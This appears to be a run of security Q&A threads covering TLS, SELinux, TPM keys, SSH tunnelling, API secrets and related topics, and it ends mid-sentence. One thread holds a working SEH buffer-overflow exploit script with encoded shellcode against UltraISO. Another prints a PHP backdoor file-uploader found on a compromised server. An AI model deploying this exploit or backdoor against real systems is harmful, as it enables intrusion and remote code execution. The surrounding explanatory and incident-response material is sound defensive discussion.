I don't know if the cycle counter is enabled by default with Android; it is disabled in a freshly booted CPU, but Android uses a Linux kernel and the cycle counter is very convenient for a number of tasks, including implementing the gettimeofday() system call, so it is possible that the Linux kernel enables it. This should be tested.

IF the cycle counter is enabled, then chances are that the Java method System.nanoTime() may also return the same information, for pure Java apps. So going native might not even be necessary to pull off a cache-timing attack on Android.

Also, there can be other accurate clocks. For instance, the GPS API provides one, with Location.getElapsedRealtimeNanos().

Side-channel attacks on cache access have been demonstrated on common AES implementations (in lab conditions, but still demonstrated). There has been quite some work done on such attacks against cryptographic algorithm, but there is nothing here really specific to cryptography. It just happens that cryptographic algorithms uses keys and keys concentrate secrets; knowing the key reveals a lot of things, so keys are high-value targets. Also, all such attacks were researched by cryptographers, and cryptographers work on cryptographic algorithm. However, side-channel leaks may occur on just every single implementation of any algorithm, cryptographic or not. Usually, when encryption occurs in a device, it is because some confidential data is processed by that device, and all that processing, not just the encryption, may leak like crazy. The issue is real and all-encompassing.

Under these assumptions, one must assume that a lot of data can be inferred from an app, about what other apps do. Defending against local attackers, who run their code on the same hardware as you and at the same time, is hard.


Is the native sandbox of Chrome and Firefox enough or would SELinux improve its security? Chrome on Windows and Linux and Firefox on Windows are executed in a sandbox. On Linux, is the Chrome sandbox enough or would we gain security if we use SELinux to protect the Chrome execution? I would like to avoid SELinux due to its complexity if it does not improve security.

SELinux will protect you against bugs created BY the chromium community, and their "oopses" or "hidden features" of that browser. You cannot put all eggs in one basket when it comes to security. Here, some examples where disabling selinux could not be a good idea:

SELinux is preventing chrome-sandbox from write access on the file oom_score_adj - A regression that Chromium developers try to blame selinux when it's their fault. It was introduced on an update and Chromium was trying to manipulate Out-Of-Memory. Clearly, it will get denied by any MAC system, cause it's pretty obvious that is not "cool" to list itself as a process to not be killer in a OOM scenario.
SELinux is preventing /opt/google/chrome/chrome-sandbox "write" access on oom_adj - In this case, a leaked file descriptor would prevent Chromium being killed on OOM cases. Clearly, a bug that would affect any system without SELinux. A regression/"hidden feature" that was blocked by SELinux.
"Aw, Snap!" in openDatabase (e.g. while loading Twitter) in Fedora 15 with SELinux enforcing enabled: Some sites were crashing when a Chromium render passes file descriptors to chromium-sandbox. A misconception on file labels that could be fixed with restorecon -R ~/.config drive chromium to crash while rendering some sites. Clearly, a bug on chromium that SELinux prevented possible damages. If you take a time to read the comments, you will notice that some developers don't even know why it's crashing, and other rush into saying "disable SELinux". Not cool...
Fedora SELinux problems with launching Chrome: Launching chromium without sandbox (google-chrome --no-sandbox) works, while with sandbox after upgrading to version "14.0.803.0 dev" don't. Chromium added ASLR at compilation time, but SELinux was blocking text-relocations. SELinux does not have a crystal ball to guess that Chromium binaries are being probed as libraries by the file command after the browser added this security feature, and it was it's duty to block this kind of behavior. Chromium was trying to improve security, but forgot that those text relocations are indeed vectors of attack by libraries that are bad coded.
The best: SELinux prevents google-chrome from reading the /etc/passwd file: No need to explain here. Why the damn browser would want to read your passwd file? No consistent explanation was given by chromium developers about the issue. Proof here.

SELinux does, in fact improves security and creates another layer to protect you from broken features introduced on Chromium upgrades.

What the default policy should block?

I'll quote Dan Walsh on its livejournal, where he explains the basics of the Chrome Policy. This is an explanation that was given at the date this policy was concieved, and basically:

  SELinux prevents chrome-sandbox from:

  Using the network

  It can not copy files up to the internet
  It can not send email and become a spam bot.

  Writing anywhere on my home directory. Or pretty much anywhere on the system
  Reading most locations on my system

  Like mysql_db_t where I could have critical system data
  /etc/shadow
  ~/.ssh
  ~/secret/DansPlanForWorldDomination.odp

Enforcing the least privilege, and anything that is not allowed will be blocked. So, anytime chromium implements something new that colides with the default policies(and remember, SELinux policies are OLDER that you browser), it will get an AVC.

And this is not being bad with Chromium. This is the default behavior among any software that is confined by SELinux policies.

Related Links(additional docs):

Chrome sandbox SELinux
SELinux chromium related domains
Security Enhanced Linux Policy for the chrome processes


What does this opcode in my exploit code mean? I'm trying to develop an already existing exploit for Windows XP.

All DLL's are protected by ASRL, so I used an address in ultraiso.exe, but all addresses start with NULL-bytes.

So far, I followed the tutorial here. Everything was going fine, until I reached this opcode:

\xe9\xcb\xfe\xff\xff\xcc

I do not understand what this opcode does and what its purpose is. Can someone please explain this to me?

Here is my exploit code so far:

import sys
import os

#Message=  0x005b79d2 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [UltraISO.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v9.7.1.3519 (C:\Program Files\UltraISO\UltraISO.exe)

#SEH ascii = 00402D3A
#Next SEH  = EBF8 ===> jmp short $-6 ===> jmp back to our [AAA]

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
'''
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes

'''
buf =  ""
buf += "\xdb\xd2\xb8\xf7\x1b\xec\x7d\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\xe3\xf9"
buf += "\x19\x81\xe3\x7c\xe1\x7a\xf3\xe0\x6b\x9f\xc2\x20\x0f"
buf += "\xeb\x74\x91\x5b\xb9\x78\x5a\x09\x2a\x0b\x2e\x86\x5d"
buf += "\xbc\x85\xf0\x50\x3d\xb5\xc1\xf3\xbd\xc4\x15\xd4\xfc"
buf += "\x06\x68\x15\x39\x7a\x81\x47\x92\xf0\x34\x78\x97\x4d"
buf += "\x85\xf3\xeb\x40\x8d\xe0\xbb\x63\xbc\xb6\xb0\x3d\x1e"
buf += "\x38\x15\x36\x17\x22\x7a\x73\xe1\xd9\x48\x0f\xf0\x0b"
buf += "\x81\xf0\x5f\x72\x2e\x03\xa1\xb2\x88\xfc\xd4\xca\xeb"
buf += "\x81\xee\x08\x96\x5d\x7a\x8b\x30\x15\xdc\x77\xc1\xfa"
buf += "\xbb\xfc\xcd\xb7\xc8\x5b\xd1\x46\x1c\xd0\xed\xc3\xa3"
buf += "\x37\x64\x97\x87\x93\x2d\x43\xa9\x82\x8b\x22\xd6\xd5"
buf += "\x74\x9a\x72\x9d\x98\xcf\x0e\xfc\xf6\x0e\x9c\x7a\xb4"
buf += "\x11\x9e\x84\xe8\x79\xaf\x0f\x67\xfd\x30\xda\xcc\xf1"
buf += "\x7a\x47\x64\x9a\x22\x1d\x35\xc7\xd4\xcb\x79\xfe\x56"
buf += "\xfe\x01\x05\x46\x8b\x04\x41\xc0\x67\x74\xda\xa5\x87"
buf += "\x2b\xdb\xef\xeb\xaa\x4f\x73\xc2\x49\xe8\x16\x1a"

SEH = "\x3A\x2D\x40"
NSEH = "\xEB\xF8\x90\x90"
#304 (junk size) - 6 (jmp 6 bytes) = 298 bytes
#304 - shellcode size (298) = 84
#shellcode start at : 0012EC6C   DBD2             FCMOVNBE ST,ST(2)
#my jmp : 0012ED70  ^EB F8            JMP SHORT 0012ED6A

#jmp 10 bytes before shellcode : 0012EC62   43               INC EBX

#\xe9\xcb\xfe\xff\xff\xcc

junk1 = "C" * 44
junk2 = "C" * 34
jmp2 = "\xe9\xcb\xfe\xff\xff\xcc"

buffer = junk1 + buf + junk2 + jmp2 +NSEH + SEH

with open("q.txt" ,"w") as q:
    q.write(buffer)

You opcodes disassamble version can be seen below. You can use https://defuse.ca/online-x86-assembler.htm

0:  e9 cb fe ff ff          jmp    0xfffffed0
5:  cc                      int3

As you know JMP will define next ID (which will be 0xfffffed0). I believe your payload need to be at that id or this need to be a starting id of pop-pop-ret. The "cc" (int3) is the interrupt command, this will pause the execution and will wait for "continue" call, you can think like it is a debugger instruction. If you are just trying to develop your code, at disassembler hit to resume button. If you are gonna use this at the target, you have to remove int3 command (you can replace with null-byte).

I hope this can help.

PS. I did not read tutorial or the all shellcode, just tried to explain the opcode you asked. If you need any further explanation please let me know.


Where to store signing key in TPM I'm using TPM 2.0 to do a remote attestation for a computer. In order to do that you have to generate a signing key from a primary key. This generate a public key and an encrypted private key. As per the official documentation it says "Preservation of  the  returned  data  is  the  responsibility  of  the  caller". So I'm wondering what the best thing to do from a security perspective ? store the private part in NVRAM ? and if I store both on disk, what are the scenarios that the key will be compromised ? And computing power necessary (for brute force for example)
thanks

The private key that you store was encrypted by the TPM itself before it left the TPM, and can be decrypted only using the TPM's primary key (which only exists inside the TPM). The encrypted key you have is useless without the TPM, it cannot be compromised without access to the TPM. You can store it however you want.

Note that if you're keeping the key away from someone who has access to the TPM (can execute code/commands on the computer that communicate with the TPM, has access to the primary), this is another question and has nothing to do with TPM.

You do need to make sure you don't lose it, because the TPM cannot recreate it - you have the only copy. So multiple copies and backups might be a good idea.

The key should be RSA 2048 (or 3072 or 4096) or ECDSA NIST P-256. Unless your TPM has the ROCA vulnerability (or something like it), it is impossible to brute force on a classical computer using all the money in the world. Note: not "expensive" but "impossible". On hardware we can understand, breaking those keys will require some breathtaking new math, not brute force.

If in the future a large quantum computer will be built, it will be able to brute force the key, but first the owners of this marvelous device will go after higher profile targets and you will hear about it on TV. Nobody knows when such a device will be built, and there is scientific debate whether it will ever get built.


Perplexities about TLS handshake I analyzed the TLS (1.2) handshake and I didn't manage to understand the message after the Change Chipher Spec

Here it is:

It is called "Encrypted Handshake Message" by Wireshark and it is sent by the server to the client and vice-versa. What is the content of this message? It should be the Finished message but what is its specific content? I also noticed that the length is different for every different ciphersuite, so, is this length specified somewhere?

The Change Cipher Spec message means: from now on, records will be encrypted with the newly negotiated cipher suite and keys. So all subsequent records will be encrypted, and that's what you observe: an encrypted record. Of course you cannot see the contents: that's the point of encryption.

Right after the Change Cipher Spec follows a Finished message, which serves as confirmation that the handshake worked properly. The raw contents have length 12 bytes, and are computed as a sort-of hash of all previous handshake messages. These 12 bytes will be encrypted, which entails adding the record MAC value, then possibly some padding (if using a block cipher in CBC mode).

For instance, if, in your example, you used a cipher suite with 3DES in CBC mode as block cipher, and SHA-1 for integrity, then 20 bytes are appended for the MAC, then between 1 and 8 bytes for padding, so that the total length is a multiple of 8 (3DES uses blocks of 8 bytes). This yields 40 bytes, and that's precisely what you observe.

See the standard, in particular section 7.4.9 for the Finished message; see also this answer for a walk-through of SSL/TLS.


Are non-personal AD users a security risk? After an IT audit of my company, the report said that our Active Directory contained too many non-personal user accounts. This caused a risk of misuse and unauthorized user access.

I checked my company's Active Directory today and noticed a lot of non-personal user accounts, but most of them seem to be related to systems that 'ought' to be running on the server. If I just deactivate them, I suppose some applications would break.

Do you guys see this as a potential security risk? Is there some way of logging in with one of these system accounts?

You need to distinguish between two types of non-personal account:

Generic accounts are accounts that multiple humans can login to. These are generally bad as you lose accountability. If John and Fred both have access, and a malicious event occurs, who do we blame - John or Fred?
Service accounts are used by applications, not by humans. Provided these are configured so a human cannot use them (which generally means tightly controlling the password) then these are not a major security risk.


How is storing an API secret key in plaintext (in a database) secure? The answers to this question Is it okay for API secret to be stored in plain text or decrypt-able? are somewhat unsettling to me. I'm trying to wrap my mind around how storing a secret key in plaintext is in any way secure.

This is how I'm imagining an API access key / secret key based system to work:

Client takes text of request and applies HMAC function with secretKey, resulting in signature
Client adds signature and accessKey to request (effectively as authentication headers) and sends to server
Server extracts accessKey from request and looks up corresponding serverSecretKey
Server takes text of request and applies HMAC function with server's version of serverSecretKey, resulting in serverSignature
Server compares signature to serverSignature; if they match, great, we're good - we know that the client has both a valid access key and a valid secret key

So before I go on, if the above is incorrect, then the rest of this question will more or less make no sense - so please let me know if the above understanding of API access/secret keys is valid or not :-)

Assuming my understanding is valid - my question comes back to how the secret key is stored - it has to be stored in plaintext for the above system to work.

So what happens if an attacker gains access to my database that has my all of my clients' API access keys and secret keys? Wouldn't they easily be able to use any access/secret key combination they like, and happily impersonate any client?

I'm looking at this from the perspective of bcrypt-ed passwords. If an attacker gains access to a database with a whole bunch of bcrypt-ed passwords, they have a whole lot of work ahead of them to make that database worthwhile to them, since brute forcing a set of bcrypt-ed passwords is computationally expensive. That feels a whole lot more secure than storing secret API keys in plaintext in a database somewhere.

It seems like an API access key/secret key combination really only provides protection against tampering with a message (since the digital signature computed during steps #1 and #2 above is tied to the secret key) and doesn't really provide any assurance that the client is who they say they are. I don't see how it provides a level of security comparable to bcrypt-ed passwords.

What am I missing here?

Your thinking on this is too black and white: safe or unsafe.  There's no safe here, just a spectrum of risk.

Companies that provide these APIs are making a judgement call and trying to balance risk with performance.  Not all of these API calls need to happen over SSL.  Think about uploading an image to S3, does it need to be encrypted?  Probably not.  The key requirement is that the calls are authenticated and authorized.  Think about a million distinct calls to SDB or SQS, how much overhead on the client and server side will SSL create?  Basically SHA2 is fast and SSL expensive, now multiply by 1,000,000.

Is there risk involved with keeping the API keys in plaintext on the server side? Certainly, but these companies are making a bet that they can put other mitigations around those key stores that lower risk to an acceptable level.  (Ultimately if I get access to your key store, hashed or plaintext, there are several malicious things I can do like swap in my secret key for yours.)

About your statement: "doesn't really provide any assurance that the client is who they say they are"

That's true about almost all authentication schemes.  If someone logs into this site with my username and password it doesn't prove that they are me, just that they possess my credentials.  If someone uses my thumbprint to unlock a biometric lock, it indicates that they have some way of providing my thumbprint in a way the lock will accept it.  What changes here is how difficult that is.  Stealing credentials may not be that hard, impersonating thumbprints is probably harder but not impossible.


SSH to localhost before remote desktop I currently have Xubuntu 18.04 with Remmina and for some reason, their SSH option doesn't work for me. So I'm left with insecurely accessing my remote machine over the Internet.

So I ssh'd to my local machine with xorg forwarding, i.e. ssh -Y myself@localmachine (with public-key authentication, etc) Then I started up Remmina and then connected to my remote machine over the Internet (without the SSH option).

Is this secure?

No, this is not secure.

Let's call your machines local and remote. What you're doing right now is creating a tunnel for X11 from local to local, then running a VNC client over that tunnel and using it to connect to remote. This effectively does nothing, traffic between local and remote isn't going over the SSH tunnel.

Originally it sounded like you might be saying that you were SSHing from local to remote, running a VNC client on remote X11 forwarded to local, then using the VNC client to connect from remote to remote. This would be secure (as long as you trust the remote computer, X11 forwarding is somewhat vulnerable if remote is malicious; I'm not familiar enough with VNC to know if this is better or worse than using VNC directly) but it seems convoluted and unnecessary, and I would guess performance would suffer.

If you want to have VNC tunneled through an SSH connection the correct way to do this is to forward a port from local to remote using ssh -L:

ssh -L [localhost port]:[host]:[host port] remote

This syntax can be a little confusing at first until you figure out what's happening on which machine. [host] here is from the perspective of remote; what happens is that you're forwarding [localhost port] to remote, then remote sends it to [host]:[host port], so what you actually want is:

ssh -L 5900:localhost:5900 remote

That way traffic is sent from local port 5900 to remote, then remote sends it to itself on port 5900. Then you can use your VNC client on local to connect to local on port 5900 (if port 5900 is already used on local [localhost port] can of course be changed to something else).

It's not relevant here because remote is forwarding to itself, but it's important to understand that once the traffic reaches remote it will be sent unencrypted. If you had a separate VNC host accessible from remote and used ssh -L 5900:vnchost:5900 remote the traffic would be encrypted from local to remote, but not from remote to vnchost.

You didn't specify what protocol you were using, so this answer assumes VNC, but it would work equally well for other protocols simply by changing the port being forwarded. Also note that some desktop sharing protocols allow using TLS, which should make SSH forwarding unnecessary when implemented correctly.


CVSS and chained vulnerabilities Let's say a website has two vulnerabilities:

Information Disclosure
reflected XSS

Their impact by themselves is limited on the specific site, but when chained together, the impact is raised too high (e.g. transfer money to another account)

What would be the most appropriate way to present those vulnerabilities?

For brainstorming, I would say there are at least three options:

Just have the two vulnerabilities without considering the chained impact
Combine the two vulnerabilities in one with high impact.
Have three vulnerabilities, the original two plus the affected critical functionality when the two are chained

The first option doesn't look appropriate, the third option, listing one extra vulnerability might be redundant. The second option doesn't look too bad, but in the case that two vulnerabilities are important by themselves, it could be more appropriate for both of them to have their own spot.

Your #3 is what is explicitly described in the CVSS User Guide:

  CVSS is designed to classify and rate individual vulnerabilities. However, it is important to support the needs of the vulnerability analysis community by accommodating situations where multiple vulnerabilities are exploited in the course of a single attack to compromise a host or application. The scoring of multiple vulnerabilities in this manner is termed Vulnerability Chaining. Note that this is not a formal metric, but is included as guidance for analysts when scoring these kinds of attacks.

  When scoring a chain of vulnerabilities, it is the responsibility of the analyst to identify which vulnerabilities are combined to form the chained score. The analyst should list the distinct vulnerabilities and their scores, along with the chained score. For example, this may be communicated within a vulnerability disclosure notice posted on a web page.


Is it possible to protect against rogue mobile base stations? I just read the answer to this question Mobile numbers capture and transmit data and it sounds surprisingly simple for calls/SMS (and data?) to be intercepted by a fake base station.

From what I understand, if you were to walk past such a fake base station, your phone would automatically connect to it if the signal is strong enough and then the attacker has access to your phone.

The only way I can imagine protectin against this would be to explicitly specify which base station(s) the device can connect to. Would this give security or would the reduction in available networks to connect to make it impractical?

Note that I am not an expert in this field, this information is gleaned from other sources.

3G Interception tools are about to appear (or may well have already done so).

The "Stingray" from Harris is the most commonly quoted product and is widely used by US "law enforcement" (or maybe that should be law ignorement!)

The tech blog Techdirt is a blog I regularly follow and is an excellent source of information regarding government use of these devices.

I've found at least one article on some tools that claim to detect and protect against rogue cell towers. Another article here talks about some ideas on protection against the reasons for using fake towers. Such as monitoring for constant tower resets (location tracking), disabling GPS (location tracking again) and secondary voice encryption.

Incidentally, such devices are not only a US problem. A recent wardrive through London found at least 20 fake towers (see the article on Techdirt).


Possible hack on site? I found a strange file on one of my servers containing the code below. The file was last modified one week ago at 1.40AM in the night, which is a bit odd.

I have done lots of changes on this site lately, but I can't remember uploading this file:

<?php if(md5($_SERVER["HTTP_USER_AGENT"]) !== "49de371511c1de3bde34b0108ec7f129")
{
die("04030");
}
if (isset($_FILES["file"])){
    $z = $_FILES["file"]["name"];
    move_uploaded_file($_FILES["file"]["tmp_name"],$z);
    header("Location: $z"); exit(); }
    ?>

<form action="<?php echo basename(__FILE__); ?>" method="post" enctype="multipart/form-data">
  Filename:
  <input type="file" name="file" id="file">

  <input type="submit" name="submit" value="Submit">
</form>

I understand what the code does, but I'm not sure if this could have been uploaded by anyone else then me with the intention of hacking my site. What do you think?

I did a quick server check of all the files that were changed after this code was added, but found nothing suspicious.

This could very well be a malicious file. I would perform the following basic investigative steps:

stat the file # stat filename
use the modified and changed times from the stat and compare those to the web server access_log to track back how the file got there. Likely there will be a POST to a different script where it was uploaded.
If nothing is found in the access logs please check your FTP logs as you could have a compromised FTP user.

Cleanup:

Find and patch vulnerable file if confirmed through access logs
Change comped passwords and run anti-spyware on your local box
Remove malicious file


TLS-RSA vs TLS-ECDHE-RSA vs static DH I understand there are a lot of articles explaining this subject and, before I post my question, this is my current understanding about it:

ECDHE-RSA = The server randomly generates a DH-key pair because the certificate has not sufficient information to send over to the client for master secret generation. The DH public key is sent in a "server key exchange" packet. The secret will never be sent over the wire. The "RSA" in the cipher suite refers to the random DH public key signature, but not to the certificate signature.

Static DH = The server has a fixed DH public key in the certificate, it will be used by the client for shared secret generation. The secret will never be sent over the wire. Since this information is enough, the server key-exchange message is not needed.

RSA = The client will use server's public key to encrypt the PMS and send it over to the server. The server will decrypt the PMS and generate the same PMS. The secret is sent over the wire.

Put static DH aside for now as it is not commonly used on the Internet - I can't find one with Wireshark.

This is my question:

I compare the pcap between TLS-RSA and TLS-ECDHE-RSA, finding that:

In the certificate presented by the server, both contain an RSA public key  (subject public key) and the certificate has an RSA signature (Sha256withRSAencryption)
In the "server key exchange" packet for TLS-ECDHE-RSA, there is a DH key with RSA signature.

The RSA signature for the "dh key" and "certificate" is used for authentication purposes / digital signature for the server to prove it is who it claims to be.

"RSA public key" in the certificate, for TLS-RSA, is used by the client to encrypt the PMS. It can be seen at the "client key exchange" packet. Then, what is its function in the case of TLS-ECDHE-RSA?

I am assuming you are talking about these in context of TLS, particularly TLS ciphers. There seems to be some confusion around the what each component does. It is all easier to understand if you see the whole picture so here it is.
During a TLS handshake the following things happen: authentication, key exchange. The details about these depend on the so called cipher suite. Here is a sample.
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

This basically says the following.

The server will serve a certificate, which contains an RSA public key. This will be used for authentication.
The key exchange will be done using ECDHE.
The symmetric cipher used after the key exchange will be AES-GCM with a 128 bit key.
The PRF (pseudo-random function) to use during the exchange is SHA256 (it may also indicate the MAC w/ older TLS versions).

Look closely and you will see how all these are represented in the cipher suite.
Now let's see what these might mean: ECDHE-RSA, Static DH, RSA

ECDHE-RSA = server randomly generate a DH-key pair because the
certificate has no sufficient information to send over to client for
master secret generation. The DH public key is sent in "server key
exchange" packet. The secret will never be sent in the wire. The "RSA"
in the cipher suite refers to the random DH public key signature, but
not the certificate signature

You are on the right track here, and now, with the knowledge about the whole picture, it is easier to understand this. During a "classic" key exchange, the public key in the certificate (and its private pair) is used to agree on a symmetric key. This, however, creates problems if the server's key is ever compromised. If private key corresponding to the public key in the certificate is ever stolen, previously recorded traffic can be decrypted at ease.
This is something we generally want to avoid. Enter Forward Secrecy. The protocol introduces the possibility to have a separate key exchange which does not depend on the RSA key pair that much. The algorithm usually used for this is called Diffie-Hellman.
For DH to work you need the so called DH-parameters, which are basically a prime modulus and a generator. These parameters are public. These are precomputed during the server setup time and shared with each client during the key exchange. Clients in cooperation with the server then use these parameters to agree on a key without actually sending it over the wire, just like you said. Here is a great video about this from the Khan Academy. The DH-key pair's private key is essentially the private number in the video. While the public key is what is sent on the wire.
To sum it up, ECDHE is Ephemeral Elliptic Curve Diffie-Hellman, which is DH over elliptic curves. The ephemeral part refers to the fact that each connection uses a different, randomly generated DH-key pair.

Static DH = server has a fix DH public key in the certificate, it will
be used by the client for share secret generation. The secret will
never be sent in the wire. Since information is enough, server key
exchange message is not needed

Static DH refers to the server choosing the same DH key-pair for every client connection (private number in the video). Or, like you suggested, it can be embedded in the certificate. This allows passive monitoring of TLS connections. This essentially disables forward secrecy.

RSA = Client will use server's public key to encrypt the PMS and send
over to server, server will decrypt the PMS and generate the same PMS.
The secret is sent in the wire

Exactly so.
Now, arriving at your question.

"RSA public key" in the certificate, for TLS-RSA, is used by the
client to encrypt the PMS. It can be seen at "client key exchange"
packet. Then What is its function in the case of TLS-ECDHE-RSA?

Now, this is easy to answer. When there is an explicit key exchange algorithm, the key in the certificate (RSA public key in this case) is only used for authentication. Making sure you connect to the host you intend to by validating the certificate chain and verifying that the server holds the private key for the given certificate's public one. It will also sign the DH-public key it sends to the client with its RSA private key, which the client verifies during the handshake.


Why can't mail clients verify an email was sent from the user and server it claims to be from? Background
When I explain to my clients the security issues around email spoofing, I often explain that emails are like regular mail. Anyone can write Jon Doe on the return address, but that doesn't necessarily mean that Jon Doe sent it.
Potential Solution?
Why can't an email server be setup to receive the following fields over a TLS session:
domain
sender
hash of email
And return True if an email was sent that fits those values.
After every email the client receives, it can reach out to that email server with those values. If the client gets a return of False, just drop the email.

Well, its not that easy.
Almost all SMTP servers are configured to prioritise the delivery of emails. This makes for example encryption between servers opportunistic today. Another problem is, how can you know for certain that a specific mail server is the only one allowed to send emails for a specific domain? Also a email almost always pass through many servers before reaching its destination. This is only a few of the problems we are facing.
Possible solutions
There are several solutions to this problem that are widely used at the moment. But I think the biggest problems are adoption and ease of configuration.
Here is a few:

DKIM and DMARC - the server signs sent emails with a asymmetric key, where the public key is published in DNS, this way the receiving server can verify the authenticity of that email.
SPF - You add DNS records that tell what servers are allowed to send emails for a specific domain. This way (if the receiving end honours it) emails from a domain will only be accepted from a defined set of servers.
S/MIME - the USER signs the email with a x509-certificate from a trusted CA, this way you can be reasonably sure that the email was sent from the person you think it was.
PGP signing of emails

The problem I guess is that solution 1-2 is hard to setup for administrators (and voluntary) and solution 3-4 is even harder to setup for the user.
Your solution would require new protocols implemented in the email client and would take a very long time to see widespread adoption.


OWASP ZAP Proxy HTTP issue? I am using ZAP 2.2.2 and I have generated a dynamic SSL certificate and added it to my Firefox browser. I then started a proxy on localhost with port 8090 and configured Firefox to use it. When I browse https://google.co.in it works, i can see the result in "Sites" tab. When I try to browse http://google.co.in it gives an error: zap Error: Address family not supported ny protocol family: connect. How can I solve this error?

The error you're getting would appear to be from the underlying Java runtime as opposed to being something specific to ZAP.

Java 7 does sometimes appear to cause odd SSL issues, so as a first step in troubleshooting, you could try installing Java 6, run ZAP with that and see if that resolves your issue.

Alternatively you could try a suggested fix from here and specify

-Djava.net.preferIPv4Stack=true

when you launch zap


use of PRNG in OpenSSL - fips mode I am working on a centos based network device , required to pass fips 140-2 level 2.
I plan to use openssl in fips mode and CTR_DRBG will use as PRNG.
will this be enough for meeting NIST SP 800-90 requirments ?

Do I need to provide external source of entropy or the linux default /dev/random is enough ?
Ran

CTR_DRBG is an approved PRNG for FIPS compliance, defined in NIST SP800-90A. Linux's /dev/random is, in principle, a suitable entropy source per NIST SP800-90B, but whether it is suitable in your particular use case depends on where the Linux kernel itself can obtain entropy. Having a hardware RNG (such as RDRAND on modern Intel CPUs) would raise fewer questions during the certification.

Beyond that, a FIPS 140 level 2 certification includes some actual security requirements (unlike level 1), so it isn't enough (but it is necessary) to use approved algorithms. Getting your product certified requires meeting all the other requirements of the certification (logging, scrubbing of data, operator authentication, pointless self-tests, etc.) and satisfying the evaluator that you've met all the requirements.


Data loss protection in software artifacts Data loss protection is a major concern to every industry. The software engineering process involves multiple points for potential data loss, as a number of parties are involved other than the client and software development team. The list may include external testing agencies, other software vendors, consulting agencies etc. From requirement analysis document to the source code and beyond, all the software artifacts contain information that the client may consider sensitive.

There has been considerable efforts for protecting application generated data using k-anonymity, L-diversity. A quick summary is here

But what are the options/best practices/tools available in protecting sensitive information that sit in software artifacts (e.g. analysis documents, source code, documentation etc) in a rather unstructured format? (Of course except NDA and good faith ...)

I recently blogged about how I deal with my clients' source code. Essentially: version control for auditing, encryption for, well, encryption. Compiled artifacts are stored on the same encrypted filesystems, and if they have to go onto other devices, they are encrypted there where available and deleted as soon as they aren't in use.

A similar story is true for documents: I work on threat models for some clients, and they're managed pretty much the same way described above.

I guess what I'm saying is that there isn't really anything intrinsic to software engineering tools to stop data leakage, though of course a good SCM installation can limit and track who accesses confidential data, but once it's checked out you're on your own. Some of the DLP software can be configured to treat source code files as confidential, which may be worth checking out. But if you're working with consultants or subcontractors, then you have a contract with them and whatever level of detection/enforcement is mutually acceptable under the terms of the contract.


How to securely transfer password from a registration page to the database What steps must be followed to send password securely from the user registration page (i.e. client side) to the server over a non encrypted channel (http) when the user registers for the first time on the website?
(We assume that there exists an intruder in between client and server)
should the password be encrypted with algorithm like AES (requires private key to be shared between client and server which might not be safe) or hashed using SHA2 on the client side before sending it to the server for further hashing using PBKDF2 or bcrypt.

The only safe method for a website to transfer a password to the server is using HTTPS/SSL. If the connection itself is not encrypted, an ManInTheMiddle can modify or strip away any JavaScript sent to the client. So you cannot rely on client side hashing.

You cannot setup a secure connection between client and server on your own, because there is no already shared information. This is like inventing a secret language while the bad guy is listening. That's what SSL is for, if you get an SSL cert for your website from a public CA, then the browsers have built in root certificates for these CA which they use to validate your website. Based on that, the client and server can set up a secure connection.


Can browser bypass hosts configuration file? for example, assume I have edited the hosts file with the following line:

127.0.0.1 malicious-site.com

if I happen to have installed a browser developed by people who owns this malicious website.
When I accidentally load a webpage which has a malicious javascript from malicious-site.com, will this browser be able to circumvent the hosts file and still loads that javascript?

EDIT:
OK I see this attack model is not very sane, let's imagine a browser exploit in a neutral browser instead.

EDIT:
Somehow I discovered that in Chrome/Chromium the browser would not honor hosts under certain circumstances (such as when configured to use a proxy). that's causing the irregular behavior.

If the browser honours the hosts file, i.e. it either uses the system DNS resolver API or reads the hosts file when doing its own DNS lookup, and the browser itself (or a plugin) is not complicit in the malicious act, then no. This is the case for most browsers; very few would not honour the hosts file.

There is no provision within JavaScript to perform DNS lookups outside the normal browser implementation.

The only way around this would be a browser exploit that gained code execution on your system, at which point the DNS issue would be largely moot.


Accessing another host in an wifi network In a public wi-fi network if I know the IP of another host/laptop on that network I can add a default route in my host to that IP. Will this allow me to access services (or even the corporate network being if there is a VPN)?

I am pretty sure its not possible.. but wondering where exactly is this blocked ? When the wireless Access point block my host from connecting to any other IP on the same wi-fi network ?

Will this allow me to access services?

Depends on the wireless router. Some have AP Isolation, some don't.
Without specifics this is not really something we can answer better than "are cars red?".

As Bruce Schneier famously said before cutting down a Huffmann tree with his bare hands:

